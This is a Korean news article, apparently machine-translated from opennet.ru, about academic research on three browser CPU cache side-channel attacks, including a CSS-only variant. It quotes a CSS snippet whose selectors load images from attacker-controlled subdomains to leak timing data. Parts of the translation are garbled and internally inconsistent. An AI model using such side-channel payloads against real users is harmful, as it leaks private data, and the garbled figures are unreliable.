์ž๋ฐ”์Šคํฌ๋ฆฝํŠธ ์—†์ด ์›น ๋ธŒ๋ผ์šฐ์ €์— ๊ตฌํ˜„๋œ CPU ์บ์‹œ ์ถ”์ถœ ๊ณต๊ฒฉ

๋ฏธ๊ตญ, ์ด์Šค๋ผ์—˜, ํ˜ธ์ฃผ ์—ฌ๋Ÿฌ ๋Œ€ํ•™์˜ ์—ฐ๊ตฌ์ง„์ด ์›น ๋ธŒ๋ผ์šฐ์ €์—์„œ ์‹คํ–‰๋˜์–ด ํ”„๋กœ์„ธ์„œ ์บ์‹œ์˜ ์ฝ˜ํ…์ธ ์— ๋Œ€ํ•œ ์ •๋ณด๋ฅผ ์ถ”์ถœํ•˜๋Š” ์„ธ ๊ฐ€์ง€ ๊ณต๊ฒฉ์„ ๊ฐœ๋ฐœํ–ˆ์Šต๋‹ˆ๋‹ค. ํ•œ ๊ฐ€์ง€ ๋ฐฉ๋ฒ•์€ JavaScript๊ฐ€ ์—†๋Š” ๋ธŒ๋ผ์šฐ์ €์—์„œ ์ž‘๋™ํ•˜๊ณ , ๋‹ค๋ฅธ ๋‘ ๊ฐ€์ง€ ๋ฐฉ๋ฒ•์€ Tor ๋ธŒ๋ผ์šฐ์ € ๋ฐ DeterFox์—์„œ ์‚ฌ์šฉ๋˜๋Š” ๋ฐฉ๋ฒ•์„ ํฌํ•จํ•˜์—ฌ ๋ถ€์ฑ„๋„ ๊ณต๊ฒฉ์— ๋Œ€ํ•œ ๊ธฐ์กด ๋ณดํ˜ธ ๋ฐฉ๋ฒ•์„ ์šฐํšŒํ•ฉ๋‹ˆ๋‹ค. ๊ณต๊ฒฉ์„ ์‹œ์—ฐํ•˜๊ธฐ ์œ„ํ•œ ์ฝ”๋“œ์™€ ๊ณต๊ฒฉ์— ํ•„์š”ํ•œ ์„œ๋ฒ„ ๊ตฌ์„ฑ ์š”์†Œ๊ฐ€ GitHub์— ๊ฒŒ์‹œ๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค.

์บ์‹œ์˜ ๋‚ด์šฉ์„ ๋ถ„์„ํ•˜๊ธฐ ์œ„ํ•ด ๋ชจ๋“  ๊ณต๊ฒฉ์€ ํ‘œ์ค€ ๊ฐ’ ์„ธํŠธ๋กœ ์บ์‹œ๋ฅผ ์ฑ„์šฐ๊ณ  ๋‹ค์‹œ ์ฑ„์šธ ๋•Œ ์•ก์„ธ์Šค ์‹œ๊ฐ„์„ ์ธก์ •ํ•˜์—ฌ ๋ณ€๊ฒฝ ์‚ฌํ•ญ์„ ํƒ์ง€ํ•˜๋Š” Prime+Probe ๋ฐฉ๋ฒ•์„ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค. ์ •ํ™•ํ•œ ์‹œ๊ฐ„ ์ธก์ •์„ ๋ฐฉํ•ดํ•˜๋Š” ๋ธŒ๋ผ์šฐ์ €์— ์กด์žฌํ•˜๋Š” ๋ณด์•ˆ ๋ฉ”์ปค๋‹ˆ์ฆ˜์„ ์šฐํšŒํ•˜๊ธฐ ์œ„ํ•ด ๋‘ ๊ฐ€์ง€ ์˜ต์…˜์œผ๋กœ ๊ณต๊ฒฉ์ž๊ฐ€ ์ œ์–ดํ•˜๋Š” โ€‹โ€‹DNS ๋˜๋Š” WebSocket ์„œ๋ฒ„์— ํ˜ธ์†Œํ•˜์—ฌ ์ˆ˜์‹ ๋œ ์š”์ฒญ ์‹œ๊ฐ„์— ๋Œ€ํ•œ ๋กœ๊ทธ๋ฅผ ์œ ์ง€ํ•ฉ๋‹ˆ๋‹ค. ์ผ ์‹ค์‹œ์˜ˆ์—์„œ, ๊ณ ์ •๋œ DNS ์‘๋‹ต ์‹œ๊ฐ„์ด ์‹œ๊ฐ„ ๊ธฐ์ค€์œผ๋กœ ์‚ฌ์šฉ๋œ๋‹ค.

๊ธฐ๊ณ„ ํ•™์Šต ๊ธฐ๋ฐ˜ ๋ถ„๋ฅ˜ ์‹œ์Šคํ…œ์„ ์‚ฌ์šฉํ•˜์—ฌ ์™ธ๋ถ€ DNS ๋˜๋Š” WebSocket ์„œ๋ฒ„๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์ˆ˜ํ–‰ํ•œ ์ธก์ •์€ ๊ฐ€์žฅ ์ตœ์ ์˜ ์‹œ๋‚˜๋ฆฌ์˜ค(ํ‰๊ท  98~80%)์—์„œ ์ตœ๋Œ€ 90%์˜ ์ •ํ™•๋„๋กœ ๊ฐ’์„ ์˜ˆ์ธกํ•˜๊ธฐ์— ์ถฉ๋ถ„ํ–ˆ์Šต๋‹ˆ๋‹ค. ๊ณต๊ฒฉ ๋ฐฉ๋ฒ•์€ ๋‹ค์–‘ํ•œ ํ•˜๋“œ์›จ์–ด ํ”Œ๋žซํผ(Intel, AMD Ryzen, Apple M1, Samsung Exynos)์—์„œ ํ…Œ์ŠคํŠธ๋˜์—ˆ์œผ๋ฉฐ ๋ณดํŽธ์ ์ธ ๊ฒƒ์œผ๋กœ ์ž…์ฆ๋˜์—ˆ์Šต๋‹ˆ๋‹ค.

์ž๋ฐ”์Šคํฌ๋ฆฝํŠธ ์—†์ด ์›น ๋ธŒ๋ผ์šฐ์ €์— ๊ตฌํ˜„๋œ CPU ์บ์‹œ ์ถ”์ถœ ๊ณต๊ฒฉ

DNS Racing ๊ณต๊ฒฉ์˜ ์ฒซ ๋ฒˆ์งธ ๋ณ€์ข…์€ JavaScript ๋ฐฐ์—ด์„ ์‚ฌ์šฉํ•˜๋Š” Prime+Probe ๋ฐฉ๋ฒ•์˜ ๊ณ ์ „์ ์ธ ๊ตฌํ˜„์„ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค. ์ฐจ์ด์ ์€ ์™ธ๋ถ€ DNS ๊ธฐ๋ฐ˜ ํƒ€์ด๋จธ์™€ ์กด์žฌํ•˜์ง€ ์•Š๋Š” ๋„๋ฉ”์ธ์—์„œ ์ด๋ฏธ์ง€๋ฅผ ๋กœ๋“œํ•˜๋ ค๊ณ  ์‹œ๋„ํ•  ๋•Œ ํŠธ๋ฆฌ๊ฑฐ๋˜๋Š” onerror ํ•ธ๋“ค๋Ÿฌ์˜ ์‚ฌ์šฉ์œผ๋กœ ์š”์•ฝ๋ฉ๋‹ˆ๋‹ค. ์™ธ๋ถ€ ํƒ€์ด๋จธ๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด ๋ธŒ๋ผ์šฐ์ €์—์„œ JavaScript ํƒ€์ด๋จธ์— ๋Œ€ํ•œ ์•ก์„ธ์Šค๋ฅผ ์ œํ•œํ•˜๊ฑฐ๋‚˜ ์™„์ „ํžˆ ๋น„ํ™œ์„ฑํ™”ํ•˜๋Š” Prime+Probe ๊ณต๊ฒฉ์ด ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค.

๋™์ผํ•œ ์ด๋”๋„ท ๋„คํŠธ์›Œํฌ์— ์œ„์น˜ํ•œ DNS ์„œ๋ฒ„์˜ ๊ฒฝ์šฐ ํƒ€์ด๋จธ์˜ ์ •ํ™•๋„๋Š” ์•ฝ 2ms๋กœ ์ถ”์ •๋˜๋ฉฐ ์ด๋Š” ๋ถ€์ฑ„๋„ ๊ณต๊ฒฉ์„ ์ˆ˜ํ–‰ํ•˜๊ธฐ์— ์ถฉ๋ถ„ํ•ฉ๋‹ˆ๋‹ค(๋น„๊ต๋ฅผ ์œ„ํ•ด Tor ๋ธŒ๋ผ์šฐ์ €์˜ ํ‘œ์ค€ JavaScript ํƒ€์ด๋จธ์˜ ์ •ํ™•๋„๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค). 100ms๋กœ ๊ฐ์†Œ). ๊ณต๊ฒฉ์˜ ๊ฒฝ์šฐ DNS ์„œ๋ฒ„์— ๋Œ€ํ•œ ์ œ์–ด๊ฐ€ ํ•„์š”ํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ์ž‘์—… ์‹คํ–‰ ์‹œ๊ฐ„์ด ์„ ํƒ๋˜์–ด DNS์˜ ์‘๋‹ต ์‹œ๊ฐ„์ด ๊ฒ€์‚ฌ์˜ ์กฐ๊ธฐ ์™„๋ฃŒ ์‹ ํ˜ธ ์—ญํ• ์„ ํ•˜๋„๋ก ํ•˜๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค(onerror ํ•ธ๋“ค๋Ÿฌ๊ฐ€ ํŠธ๋ฆฌ๊ฑฐ๋˜์—ˆ๋Š”์ง€ ์—ฌ๋ถ€์— ๋”ฐ๋ผ ๋‹ค๋ฆ„). ์ด์ „ ๋˜๋Š” ์ดํ›„์— ์บ์‹œ๋ฅผ ์‚ฌ์šฉํ•œ ๊ฒ€์‚ฌ ์ž‘์—… ์†๋„์— ๋Œ€ํ•œ ๊ฒฐ๋ก ์ด ๋„์ถœ๋ฉ๋‹ˆ๋‹ค).

๋‘ ๋ฒˆ์งธ ๊ณต๊ฒฉ ๋ฐฉ๋ฒ•์ธ 'String and Sock'์€ ์ž๋ฐ”์Šคํฌ๋ฆฝํŠธ์—์„œ ๋ฐฐ์—ด์˜ ๋‚ฎ์€ ์ˆ˜์ค€ ์‚ฌ์šฉ์„ ์ œํ•œํ•˜๋Š” ๋ณด์•ˆ ๊ธฐ์ˆ ์„ ์šฐํšŒํ•˜๋Š” ๊ฒƒ์„ ๋ชฉํ‘œ๋กœ ํ•ฉ๋‹ˆ๋‹ค. ๋ฐฐ์—ด ๋Œ€์‹  String ๋ฐ Sock์€ ๋ณ€์ˆ˜๊ฐ€ ์ „์ฒด LLC ์บ์‹œ(๋งˆ์ง€๋ง‰ ์ˆ˜์ค€ ์บ์‹œ)๋ฅผ ํฌ๊ด„ํ•˜๋„๋ก ํฌ๊ธฐ๊ฐ€ ์„ ํƒ๋˜๋Š” ๋งค์šฐ ํฐ ๋ฌธ์ž์—ด์— ๋Œ€ํ•œ ์ž‘์—…์„ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค. ๋‹ค์Œ์œผ๋กœ indexOf() ํ•จ์ˆ˜๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ๋ฌธ์ž์—ด์—์„œ ์ฒ˜์Œ์—๋Š” ์†Œ์Šค ๋ฌธ์ž์—ด์— ์—†๋Š” ์ž‘์€ ํ•˜์œ„ ๋ฌธ์ž์—ด์„ ๊ฒ€์ƒ‰ํ•ฉ๋‹ˆ๋‹ค. ๊ฒ€์ƒ‰ ์ž‘์—…์œผ๋กœ ์ธํ•ด ์ „์ฒด ๋ฌธ์ž์—ด์ด ๋ฐ˜๋ณต๋ฉ๋‹ˆ๋‹ค. ๋ผ์ธ ํฌ๊ธฐ๋Š” LLC ์บ์‹œ์˜ ํฌ๊ธฐ์— ํ•ด๋‹นํ•˜๋ฏ€๋กœ ์Šค์บ”์„ ์‚ฌ์šฉํ•˜๋ฉด ๋ฐฐ์—ด์„ ์กฐ์ž‘ํ•˜์ง€ ์•Š๊ณ ๋„ ์บ์‹œ ํ™•์ธ ์ž‘์—…์„ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ง€์—ฐ์„ ์ธก์ •ํ•˜๊ธฐ ์œ„ํ•ด DNS ๋Œ€์‹  ๊ณต๊ฒฉ์ž๊ฐ€ ์ œ์–ดํ•˜๋Š” โ€‹โ€‹WebSocket ์„œ๋ฒ„์— ํ˜ธ์ถœ์ด ์ด๋ฃจ์–ด์ง‘๋‹ˆ๋‹ค. ๊ฒ€์ƒ‰ ์ž‘์—…์ด ์™„๋ฃŒ๋˜๊ธฐ ์ „ํ›„์— ์ฟผ๋ฆฌ๊ฐ€ ๋ผ์ธ์œผ๋กœ ์ „์†ก๋˜๋ฉฐ, ์ด๋ฅผ ๊ธฐ๋ฐ˜์œผ๋กœ ์„œ๋ฒ„๋Š” ์บ์‹œ๋ฅผ ๋ถ„์„ํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋˜๋Š” ์ง€์—ฐ์„ ๊ณ„์‚ฐํ•ฉ๋‹ˆ๋‹ค. ๋‚ด์šฉ๋ฌผ.

"CSS PP0" ๊ณต๊ฒฉ์˜ ์„ธ ๋ฒˆ์งธ ๋ณ€์ข…์€ HTML๊ณผ CSS๋ฅผ ํ†ตํ•ด ๊ตฌํ˜„๋˜๋ฉฐ JavaScript๊ฐ€ ๋น„ํ™œ์„ฑํ™”๋œ ๋ธŒ๋ผ์šฐ์ €์—์„œ ์ž‘๋™ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ๋ฐฉ๋ฒ•์€ "String and Sock"๊ณผ ์œ ์‚ฌํ•˜์ง€๋งŒ JavaScript์— ์—ฐ๊ฒฐ๋˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ๊ณต๊ฒฉ ์ค‘์— ๋งˆ์Šคํฌ๋กœ ๊ฒ€์ƒ‰ํ•˜๋Š” CSS ์„ ํƒ๊ธฐ ์„ธํŠธ๊ฐ€ ์ƒ์„ฑ๋ฉ๋‹ˆ๋‹ค. ์บ์‹œ๋ฅผ ์ฑ„์šฐ๋Š” ์ดˆ๊ธฐ์˜ ํฐ ๋ฌธ์ž์—ด์€ ๋งค์šฐ ํฐ ํด๋ž˜์Šค ์ด๋ฆ„์„ ๊ฐ€์ง„ div ํƒœ๊ทธ๋ฅผ ์ƒ์„ฑํ•˜์—ฌ ์„ค์ •๋ฉ๋‹ˆ๋‹ค. ๋‚ด๋ถ€์—๋Š” ๊ณ ์œ ํ•œ ์‹๋ณ„์ž๋ฅผ ๊ฐ€์ง„ ๋‹ค๋ฅธ div ์„ธํŠธ๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ์ค‘์ฒฉ๋œ div ๊ฐ๊ฐ์—๋Š” ํ•˜์œ„ ๋ฌธ์ž์—ด์„ ๊ฒ€์ƒ‰ํ•˜๋Š” ์„ ํƒ๊ธฐ๊ฐ€ ํฌํ•จ๋œ ๊ณ ์œ ํ•œ ์Šคํƒ€์ผ์ด ์žˆ์Šต๋‹ˆ๋‹ค. ํŽ˜์ด์ง€๋ฅผ ๋ Œ๋”๋งํ•  ๋•Œ ๋ธŒ๋ผ์šฐ์ €๋Š” ๋จผ์ € ๋‚ด๋ถ€ div๋ฅผ ์ฒ˜๋ฆฌํ•˜๋ ค๊ณ  ์‹œ๋„ํ•˜๋ฉฐ ๊ทธ ๊ฒฐ๊ณผ ํฐ ํ–‰์— ๋Œ€ํ•œ ๊ฒ€์ƒ‰ ์ž‘์—…์ด ์ˆ˜ํ–‰๋ฉ๋‹ˆ๋‹ค. ์˜๋„์ ์œผ๋กœ ๋ˆ„๋ฝ๋œ ๋งˆ์Šคํฌ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ๊ฒ€์ƒ‰์ด ์ˆ˜ํ–‰๋˜๊ณ  ์ „์ฒด ๋ผ์ธ์— ๋Œ€ํ•ด ๋ฐ˜๋ณต์ด ์ด๋ฃจ์–ด์ง€๋ฉฐ, ๊ทธ ํ›„ "not" ์กฐ๊ฑด์ด ํŠธ๋ฆฌ๊ฑฐ๋˜๊ณ  ์ž„์˜์˜ ๋„๋ฉ”์ธ์„ ์ฐธ์กฐํ•˜๋Š” ๋ฐฐ๊ฒฝ ์ด๋ฏธ์ง€๋ฅผ ๋กœ๋“œํ•˜๋ ค๊ณ  ์‹œ๋„ํ•ฉ๋‹ˆ๋‹ค. #pp:not([class*=โ€™xjtoxgโ€™]) #s0 {background-image: url(ยซhttps://qdlvibmr.helldomain.oy.ne.roยป);} #pp:not([class*=โ€™gzstxfโ€™]) #s1 {background-image: url(ยซhttps://licfsdju.helldomain.oy.ne.roยป);} โ€ฆ ์—‘์Šค ์—‘์Šค ...

ํ•˜์œ„ ๋„๋ฉ”์ธ์€ ์š”์ฒญ ์ˆ˜์‹  ์ง€์—ฐ์„ ์ธก์ •ํ•  ์ˆ˜ ์žˆ๋Š” ๊ณต๊ฒฉ์ž์˜ DNS ์„œ๋ฒ„์— ์˜ํ•ด ์ œ๊ณต๋ฉ๋‹ˆ๋‹ค. DNS ์„œ๋ฒ„๋Š” ๋ชจ๋“  ์š”์ฒญ์— โ€‹โ€‹๋Œ€ํ•ด NXDOMAIN์„ ๋ฐœํ–‰ํ•˜๊ณ  ์ •ํ™•ํ•œ ์š”์ฒญ ์‹œ๊ฐ„์— ๋Œ€ํ•œ ๋กœ๊ทธ๋ฅผ ์œ ์ง€ํ•ฉ๋‹ˆ๋‹ค. ์ผ๋ จ์˜ div๋ฅผ ์ฒ˜๋ฆฌํ•œ ๊ฒฐ๊ณผ ๊ณต๊ฒฉ์ž์˜ DNS ์„œ๋ฒ„๋Š” ์ผ๋ จ์˜ ์š”์ฒญ์„ ์ˆ˜์‹ ํ•˜๋ฉฐ, ๊ทธ ์‚ฌ์ด์˜ ์ง€์—ฐ์€ ์บ์‹œ ๋‚ด์šฉ์„ ํ™•์ธํ•œ ๊ฒฐ๊ณผ์™€ ๊ด€๋ จ์ด ์žˆ์Šต๋‹ˆ๋‹ค.

์ž๋ฐ”์Šคํฌ๋ฆฝํŠธ ์—†์ด ์›น ๋ธŒ๋ผ์šฐ์ €์— ๊ตฌํ˜„๋œ CPU ์บ์‹œ ์ถ”์ถœ ๊ณต๊ฒฉ


์ถœ์ฒ˜ : opennet.ru

์ฝ”๋ฉ˜ํŠธ๋ฅผ ์ถ”๊ฐ€